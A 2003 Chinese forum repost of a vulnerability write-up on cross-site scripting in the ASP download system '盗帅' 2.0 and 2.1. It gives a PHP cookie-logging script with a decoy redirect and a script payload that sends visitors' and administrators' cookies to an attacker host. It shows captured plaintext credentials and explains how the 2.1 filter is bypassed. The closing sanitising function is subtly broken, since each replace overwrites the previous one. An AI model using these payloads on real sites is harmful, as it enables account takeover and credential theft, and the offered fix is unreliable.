|
![]() | 作者: cck123 [cck123]
![]() |
登录 |
本文作者: sniper 文章出处: 安全天使 发布日期: 2003-12-25 前言: 盗帅下载系统是一个使用比较广泛的ASP程序,开发者经过修改后在10月6号发布了盗帅2.0正式版,解决了以前存在的大部分SQL injection漏洞.上次在找盗帅2.0的注入漏洞时,就发现盗帅下载系统的COOKIE是明文保存的,就想试试有没有跨站攻击漏洞.正好这几天放假,把程序翻出来看了看,果然程序几乎没有对跨站攻击进行防范。 漏洞描述: 先粗略看了一下link.asp的代码,这个文件中仅仅对输入做了不能为空的限制,而对于特殊字符却没有任何防范,而且作者也允许JS和flash代码,应该是作者的大意造成了这个漏洞。我们可以通过插入<script>alert("test")</script>来证明这个漏洞是否存在.在首页进入申请连接.在网站介绍那里加入,再看看,是不是出来了一个警告窗口?如图一: http://www.4ngel.net/article/img/ds1.gif 但是我们的目的是得到我们想要的COOKIE信息.先找一个支持PHP的空间把我们用来截取COOKIE信息的文件传上去.这里设我们的空间服务器IP为192.168.1.1.PHP文件代码如下: <?php $info = getenv("QUERY_STRING")'' if ($info) { $fp = fopen("test.txt","a")'' fwrite($fp,$info."\n")'' fclose($fp)'' } ?> <script language=vbscript> document.location="http://www.ad.com/"; </script> 以上代码保存为cookie.php,其中test.txt是我们保存COOKIE信息的文件.http://www.ad.com/是起转向功能的,具体你自己写吧,爱转那转那.推荐转到一个广告或目标首页什么的,这样不容易被怀疑.当然你也可以通过JS来实现窗口最小化或自动关闭窗口来达到隐藏的目的。然后我们只要在网站介绍那里添加: <script>window.open('http://192.168.1.1/cookie.PHP?'+documents.cookie)''</script> 这样当用户浏览友情连接的时候,就会弹出窗口并且把他COOKIE中的用户名和密码截取并保存到test.txt中去了。不过并没有我们希望的那样顺利哦,递交的时候出了点问题,显示如下错误信息: 语法错误 (操作符丢失) 在查询表达式 ''script>window.open('http://192.168.1.1/cookie.PHP?'+documents.cookie)''</script>'' 中,呵呵,开始我以为是'把SQL语句搞乱了,在这里郁闷了一段时间,后来再仔细看了看代码,看到这么一段: ~~~~~~~~~~省去一部分 conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& strLinTitle &"','"& strLinPic &"',False,'"& now() &"')") ~~~~~~~~~~~~~省去一部分 由于使用了insert into所以我们递交语句的时候要记得把单引号'换成2个单引号'',把语句中的单引号替换,递交,成功。 这是我截取到的一部分代码: The+Cool+Site=lao=15''%20nicedown=pws=1111&admin=1111''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC The+Cool+Site=lao=15''%20nicedown=pws=1111&admin=1111''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC The+Cool+Site=lao=15''%20nicedown=pws=admin&admin=admin''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC The+Cool+Site=lao=15''%20nicedown=pws=admin&admin=admin''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC 看pws=1111&admin=1111中,pws后面的是密码(明文的),admin后面的是用户名. 再来看看在那些地方可以通过flash跨站来达到我们的目的,友情连接页面同样允许使用flash;程序中软件信息页面中程序简介是可以贴flash和其他多媒体标签的发散一下是不是可以把动网的一些漏洞“移植”到这里来呢?如多媒体标签未过滤漏洞,不过我没试有兴趣的朋友可以自己看看。在这2个地方我们都可以通过贴flash来得到我们想要的cookie信息,具体使用的代码大家可以看LIlo/sandflee写的“Flash跨站攻击研究”一文。 本来文章到这里也应该结束了,我也马上告诉了帝国入侵者漏洞的一些情况,大概是2个星期后他也发布了声称修补了以前所有漏洞的盗帅2.1版。正巧,我把这篇文章发给安全天使的angel看后,angel也去看了看所谓的2.1版,发现他们写的补丁程序中过滤并不十分严格(我还以为作者经过我又是举例又是推荐好文章给他看之后,终于明白该怎么做了哦,汗~~~~)提醒我再去试试,果然2.1版中我们仍然可以跨站来得到用户密码。感谢angel的指导~ 我们看代码,2.0的是这样写的: if Request.Form("strLinTitle")<>"" then strLinTitle=Request.Form("strLinTitle") else MsgErrLink=MsgErrLink&"<li>网站介绍不能为空" end if 2.1是这样写的: if Request.Form("strLinTitle")<>"" then if instr(Request.Form("strLinTitle"),".cookies")>0 then MsgErrLink=MsgErrLink&"<li>请勿输入非法字符" else strLinTitle=Request.Form("strLinTitle") end if else MsgErrLink=MsgErrLink&"<li>网站介绍不能为空" end if 再看看 conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& replace(strLinTitle,".cookies","") &"','"& strLinPic &"',False,'"& now() &"')") 看起来几乎和原来的代码就多了点对strLinTitle的判断,发现如果有.cookies就会提示“请勿输入非法字符”,其实这样根本不能使程序避免跨站攻击的问题。即使解决了COOKIE密码泄露的问题,那我们不去递交得到密码的语句,而递交一个格盘或指向其他网站的网页木马的语句呢?不言而喻,结果难以想象。另外,从2.0的原始发布版我就一直在提醒作者把COOKIE的密码等敏感信息加密,增加安全性;但是不知道是什么原因,在之后推出的各个补丁包括2.1版在内,作者都没有对COOKIE进行加密,不知是什么缘故。 程序最大的改变也就是加强了验证的过程,递交连接后需要通过管理员审核才会在link.asp中显示出来。而我们仍然可以递交这样的语句来达到目的,在申请连接的页面中“网站介绍”那里输入一下代码: <script>window.open(''http://localhost/cookie.PHP?''+documents.cookie)''</script> 点击递交,而这个时候作者的过滤语句并没有起到什么作用,我们的语句也就直接递交进去了,当管理员进入友情连接的管理页面的时候,COOKIE即被我们获得,如图二: http://www.4ngel.net/article/img/ds2.gif 解决方法: angel提供了这样的一段代码来过滤特殊字符,可以根据实际情况添加需要过滤的字符: function checkStr(str) if isnull(str) then checkStr = "" exit function end if checkStr=replace(str,"'","") checkStr=replace(str,"''","") checkStr=replace(str,"--","") checkStr=replace(str,"<","<") checkStr=replace(str,">",">") checkStr=replace(str," "," ") checkStr=replace(str,"javascript","/javascript") checkStr=replace(str,"cookie","/cookie") checkStr=replace(str,"document","/document") end function 这样才可以比较稳妥的避免类似攻击,这套程序的问题频繁出现和作者的安全意识是分不开的,所以希望一些ASP程序员在编写程序的时候能够注意一些这样的安全问题,来提高程序的安全性。 |
地主 发表时间: 03-12-29 11:23 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号